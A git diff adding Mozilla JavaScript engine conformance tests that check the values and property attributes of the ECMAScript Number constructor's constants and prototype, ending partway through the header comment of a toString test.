diff --git a/js/src/tests/ecma/Number/15.7.3.2-1.js b/js/src/tests/ecma/Number/15.7.3.2-1.js
new file mode 100644
index 000000000..f4fe0e227
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.2-1.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.2-1.js
+ ECMA Section: 15.7.3.2 Number.MAX_VALUE
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the value of MAX_VALUE
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.7.3.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.MAX_VALUE";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Number.MAX_VALUE",
+ 1.7976931348623157e308,
+ Number.MAX_VALUE );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.2-2.js b/js/src/tests/ecma/Number/15.7.3.2-2.js
new file mode 100644
index 000000000..64caa6b6f
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.2-2.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.2-2.js
+ ECMA Section: 15.7.3.2 Number.MAX_VALUE
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Number.MAX_VALUE
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.7.3.2-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.MAX_VALUE: DontDelete Attribute";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "delete( Number.MAX_VALUE ); Number.MAX_VALUE",
+ 1.7976931348623157e308,
+ eval("delete( Number.MAX_VALUE );Number.MAX_VALUE") );
+
+new TestCase( SECTION,
+ "delete( Number.MAX_VALUE )",
+ false,
+ eval("delete( Number.MAX_VALUE )") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.2-3.js b/js/src/tests/ecma/Number/15.7.3.2-3.js
new file mode 100644
index 000000000..48a32a3e7
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.2-3.js
@@ -0,0 +1,33 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.2-3.js
+ ECMA Section: 15.7.3.2 Number.MAX_VALUE
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Number.MAX_VALUE
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.7.3.2-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.MAX_VALUE";
+
+writeHeaderToLog( SECTION + " "+ TITLE );
+
+var MAX_VAL = 1.7976931348623157e308;
+
+new TestCase( SECTION,
+ "Number.MAX_VALUE=0; Number.MAX_VALUE",
+ MAX_VAL,
+ eval("Number.MAX_VALUE=0; Number.MAX_VALUE") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.2-4.js b/js/src/tests/ecma/Number/15.7.3.2-4.js
new file mode 100644
index 000000000..96bc7071f
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.2-4.js
@@ -0,0 +1,30 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.2-4.js
+ ECMA Section: 15.7.3.2 Number.MAX_VALUE
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontEnum attribute of Number.MAX_VALUE
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.3.2-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.MAX_VALUE: DontEnum Attribute";
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var string = ''; for ( prop in Number ) { string += ( prop == 'MAX_VALUE' ) ? prop : '' } string;",
+ "",
+ eval("var string = ''; for ( prop in Number ) { string += ( prop == 'MAX_VALUE' ) ? prop : '' } string;")
+ );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.3-1.js b/js/src/tests/ecma/Number/15.7.3.3-1.js
new file mode 100644
index 000000000..b71fd3db9
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.3-1.js
@@ -0,0 +1,34 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.3-1.js
+ ECMA Section: 15.7.3.3 Number.MIN_VALUE
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the value of Number.MIN_VALUE
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+
+var SECTION = "15.7.3.3-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.MIN_VALUE";
+
+writeHeaderToLog( SECTION + " "+ TITLE );
+
+var MIN_VAL = 5e-324;
+
+new TestCase( SECTION,
+ "Number.MIN_VALUE",
+ MIN_VAL,
+ Number.MIN_VALUE );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.3-2.js b/js/src/tests/ecma/Number/15.7.3.3-2.js
new file mode 100644
index 000000000..345f70492
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.3-2.js
@@ -0,0 +1,39 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.3-2.js
+ ECMA Section: 15.7.3.3 Number.MIN_VALUE
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Number.MIN_VALUE
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+
+var SECTION = "15.7.3.3-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.MIN_VALUE";
+
+writeHeaderToLog( SECTION + " "+ TITLE );
+
+var MIN_VAL = 5e-324;
+
+new TestCase( SECTION,
+ "delete( Number.MIN_VALUE )",
+ false,
+ eval("delete( Number.MIN_VALUE )") );
+
+new TestCase( SECTION,
+ "delete( Number.MIN_VALUE ); Number.MIN_VALUE",
+ MIN_VAL,
+ eval("delete( Number.MIN_VALUE );Number.MIN_VALUE") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.3-3.js b/js/src/tests/ecma/Number/15.7.3.3-3.js
new file mode 100644
index 000000000..67cbae26a
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.3-3.js
@@ -0,0 +1,30 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.3-3.js
+ ECMA Section: 15.7.3.3 Number.MIN_VALUE
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Number.MIN_VALUE
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.3.3-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.MIN_VALUE: ReadOnly Attribute";
+
+writeHeaderToLog( SECTION + " "+TITLE );
+
+new TestCase( SECTION,
+ "Number.MIN_VALUE=0; Number.MIN_VALUE",
+ Number.MIN_VALUE,
+ eval("Number.MIN_VALUE=0; Number.MIN_VALUE" ));
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.3-4.js b/js/src/tests/ecma/Number/15.7.3.3-4.js
new file mode 100644
index 000000000..13d57bc51
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.3-4.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.3-4.js
+ ECMA Section: 15.7.3.3 Number.MIN_VALUE
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontEnum attribute of Number.MIN_VALUE
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+
+var SECTION = "15.7.3.3-4";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Number.MIN_VALUE: DontEnum Attribute");
+
+new TestCase( SECTION,
+ "var string = ''; for ( prop in Number ) { string += ( prop == 'MIN_VALUE' ) ? prop : '' } string;",
+ "",
+ eval("var string = ''; for ( prop in Number ) { string += ( prop == 'MIN_VALUE' ) ? prop : '' } string;")
+ );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.4-1.js b/js/src/tests/ecma/Number/15.7.3.4-1.js
new file mode 100644
index 000000000..c811c05e1
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.4-1.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.4-1.js
+ ECMA Section: 15.7.3.4 Number.NaN
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the value of Number.NaN
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+
+var SECTION = "15.7.3.4-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.NaN";
+
+writeHeaderToLog( SECTION + " "+ TITLE );
+
+new TestCase(SECTION,
+ "NaN",
+ NaN,
+ Number.NaN );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.4-2.js b/js/src/tests/ecma/Number/15.7.3.4-2.js
new file mode 100644
index 000000000..3ce2e5ed4
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.4-2.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.4-2.js
+ ECMA Section: 15.7.3.4 Number.NaN
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Number.NaN
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+
+var SECTION = "15.7.3.4-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.NaN";
+
+writeHeaderToLog( SECTION + " "+ TITLE );
+
+new TestCase(SECTION,
+ "delete( Number.NaN ); Number.NaN",
+ NaN,
+ eval("delete( Number.NaN );Number.NaN" ));
+
+new TestCase( SECTION,
+ "delete( Number.NaN )",
+ false,
+ eval("delete( Number.NaN )") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.4-3.js b/js/src/tests/ecma/Number/15.7.3.4-3.js
new file mode 100644
index 000000000..f01506ac7
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.4-3.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.4-3.js
+ ECMA Section: 15.7.3.4 Number.NaN
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Number.NaN
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.7.3.4-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.NaN";
+
+writeHeaderToLog( SECTION + " "+ TITLE );
+
+new TestCase( SECTION,
+ "Number.NaN=0; Number.NaN",
+ Number.NaN,
+ eval("Number.NaN=0; Number.NaN") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.4-4.js b/js/src/tests/ecma/Number/15.7.3.4-4.js
new file mode 100644
index 000000000..e650b2b55
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.4-4.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.4-4.js
+ ECMA Section: 15.7.3.4 Number.NaN
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontEnum attribute of Number.NaN
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.7.3.4-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.NaN";
+
+writeHeaderToLog( SECTION + " " + TITLE);
+
+new TestCase( SECTION,
+ "var string = ''; for ( prop in Number ) { string += ( prop == 'NaN' ) ? prop : '' } string;",
+ "",
+ eval("var string = ''; for ( prop in Number ) { string += ( prop == 'NaN' ) ? prop : '' } string;")
+ );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.5-1.js b/js/src/tests/ecma/Number/15.7.3.5-1.js
new file mode 100644
index 000000000..27ab946ac
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.5-1.js
@@ -0,0 +1,30 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.5-1.js
+ ECMA Section: 15.7.3.5 Number.NEGATIVE_INFINITY
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the value of Number.NEGATIVE_INFINITY
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.3.5-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.NEGATIVE_INFINITY";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+new TestCase(SECTION,
+ "Number.NEGATIVE_INFINITY",
+ -Infinity,
+ Number.NEGATIVE_INFINITY );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.5-2.js b/js/src/tests/ecma/Number/15.7.3.5-2.js
new file mode 100644
index 000000000..be2ba3964
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.5-2.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.5-2.js
+ ECMA Section: 15.7.3.5 Number.NEGATIVE_INFINITY
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Number.NEGATIVE_INFINITY
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.7.3.5-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.NEGATIVE_INFINITY";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+new TestCase( SECTION,
+ "delete( Number.NEGATIVE_INFINITY )",
+ false,
+ eval("delete( Number.NEGATIVE_INFINITY )") );
+
+new TestCase( SECTION,
+ "delete( Number.NEGATIVE_INFINITY ); Number.NEGATIVE_INFINITY",
+ -Infinity,
+ eval("delete( Number.NEGATIVE_INFINITY );Number.NEGATIVE_INFINITY") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.5-3.js b/js/src/tests/ecma/Number/15.7.3.5-3.js
new file mode 100644
index 000000000..cb2b271a7
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.5-3.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.5-3.js
+ ECMA Section: 15.7.3.5 Number.NEGATIVE_INFINITY
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Number.NEGATIVE_INFINITY
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.7.3.5-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.NEGATIVE_INFINITY";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+new TestCase( SECTION,
+ "Number.NEGATIVE_INFINITY=0; Number.NEGATIVE_INFINITY",
+ -Infinity,
+ eval("Number.NEGATIVE_INFINITY=0; Number.NEGATIVE_INFINITY") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.5-4.js b/js/src/tests/ecma/Number/15.7.3.5-4.js
new file mode 100644
index 000000000..d44b0f64b
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.5-4.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.5-4.js
+ ECMA Section: 15.7.3.5 Number.NEGATIVE_INFINITY
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontEnum attribute of Number.NEGATIVE_INFINITY
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.7.3.5-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.NEGATIVE_INFINITY";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+new TestCase( SECTION,
+ "var string = ''; for ( prop in Number ) { string += ( prop == 'NEGATIVE_INFINITY' ) ? prop : '' } string;",
+ "",
+ eval("var string = ''; for ( prop in Number ) { string += ( prop == 'NEGATIVE_INFINITY' ) ? prop : '' } string;")
+ );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.6-1.js b/js/src/tests/ecma/Number/15.7.3.6-1.js
new file mode 100644
index 000000000..2c9f4990e
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.6-1.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.6-1.js
+ ECMA Section: 15.7.3.6 Number.POSITIVE_INFINITY
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the value of Number.POSITIVE_INFINITY
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.7.3.6-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.POSITIVE_INFINITY";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+new TestCase( SECTION,
+ "Number.POSITIVE_INFINITY",
+ Infinity,
+ Number.POSITIVE_INFINITY );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.6-2.js b/js/src/tests/ecma/Number/15.7.3.6-2.js
new file mode 100644
index 000000000..55553adb3
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.6-2.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.6-2.js
+ ECMA Section: 15.7.3.6 Number.POSITIVE_INFINITY
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Number.POSITIVE_INFINITY
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.3.6-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.POSITIVE_INFINITY";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+new TestCase(SECTION,
+ "delete( Number.POSITIVE_INFINITY )",
+ false,
+ eval("delete( Number.POSITIVE_INFINITY )") );
+
+new TestCase(SECTION,
+ "delete( Number.POSITIVE_INFINITY ); Number.POSITIVE_INFINITY",
+ Infinity,
+ eval("delete( Number.POSITIVE_INFINITY );Number.POSITIVE_INFINITY") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.6-3.js b/js/src/tests/ecma/Number/15.7.3.6-3.js
new file mode 100644
index 000000000..b08b4a96c
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.6-3.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.6-3.js
+ ECMA Section: 15.7.3.6 Number.POSITIVE_INFINITY
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Number.POSITIVE_INFINITY
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.7.3.6-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.POSITIVE_INFINITY";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+new TestCase( SECTION,
+ "Number.POSITIVE_INFINITY=0; Number.POSITIVE_INFINITY",
+ Number.POSITIVE_INFINITY,
+ eval("Number.POSITIVE_INFINITY=0; Number.POSITIVE_INFINITY") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.6-4.js b/js/src/tests/ecma/Number/15.7.3.6-4.js
new file mode 100644
index 000000000..79250d9eb
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.6-4.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.6-4.js
+ ECMA Section: 15.7.3.6 Number.POSITIVE_INFINITY
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontEnum attribute of Number.POSITIVE_INFINITY
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.3.6-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.POSITIVE_INFINITY";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+new TestCase( SECTION,
+ "var string = ''; for ( prop in Number ) { string += ( prop == 'POSITIVE_INFINITY' ) ? prop : '' } string;",
+ "",
+ eval("var string = ''; for ( prop in Number ) { string += ( prop == 'POSITIVE_INFINITY' ) ? prop : '' } string;")
+ );
+
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.js b/js/src/tests/ecma/Number/15.7.3.js
new file mode 100644
index 000000000..9ac4c4b18
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.js
+ 15.7.3 Properties of the Number Constructor
+
+ Description: The value of the internal [[Prototype]] property
+ of the Number constructor is the Function prototype
+ object. The Number constructor also has the internal
+ [[Call]] and [[Construct]] properties, and the length
+ property.
+
+ Other properties are in subsequent tests.
+
+ Author: christine@netscape.com
+ Date: 29 september 1997
+*/
+
+var SECTION = "15.7.3";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "Properties of the Number Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(SECTION,
+ "Number.length",
+ 1,
+ Number.length );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.4-1.js b/js/src/tests/ecma/Number/15.7.4-1.js
new file mode 100644
index 000000000..05d16a5c2
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.4-1.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.4-1.js
+ ECMA Section: 15.7.4.1 Properties of the Number Prototype Object
+ Description:
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+
+var SECTION = "15.7.4-1";
+var VERSION = "ECMA_1";
+startTest();
+writeHeaderToLog( SECTION + "Properties of the Number prototype object");
+
+new TestCase(SECTION, "Number.prototype.valueOf()", 0, Number.prototype.valueOf() );
+new TestCase(SECTION, "typeof(Number.prototype)", "object", typeof(Number.prototype) );
+new TestCase(SECTION, "Number.prototype.constructor == Number", true, Number.prototype.constructor == Number );
+// new TestCase(SECTION, "Number.prototype == Number.__proto__", true, Number.prototype == Number.__proto__ );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.4.1.js b/js/src/tests/ecma/Number/15.7.4.1.js
new file mode 100644
index 000000000..da8c20501
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.4.1.js
@@ -0,0 +1,28 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.4.1.js
+ ECMA Section: 15.7.4.1.1 Number.prototype.constructor
+
+ Number.prototype.constructor is the built-in Number constructor.
+
+ Description:
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.4.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.prototype.constructor";
+
+writeHeaderToLog( SECTION + " "+TITLE);
+
+new TestCase( SECTION,
+ "Number.prototype.constructor",
+ Number,
+ Number.prototype.constructor );
+test();
diff --git a/js/src/tests/ecma/Number/15.7.4.2-1.js b/js/src/tests/ecma/Number/15.7.4.2-1.js
new file mode 100644
index 000000000..05939a6e6
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.4.2-1.js
@@ -0,0 +1,77 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.4.2.js
+ ECMA Section: 15.7.4.2.1 Number.prototype.toString()
+ Description:
+ If the radix is the number 10 or not supplied, then this number value is
+ given as an argument to the ToString operator; the resulting string value
+ is returned.
+
+ If the radix is supplied and is an integer from 2 to 36, but not 10, the
+ result is a string, the choice of which is implementation dependent.
+
+ The toString function is not generic; it generates a runtime error if its
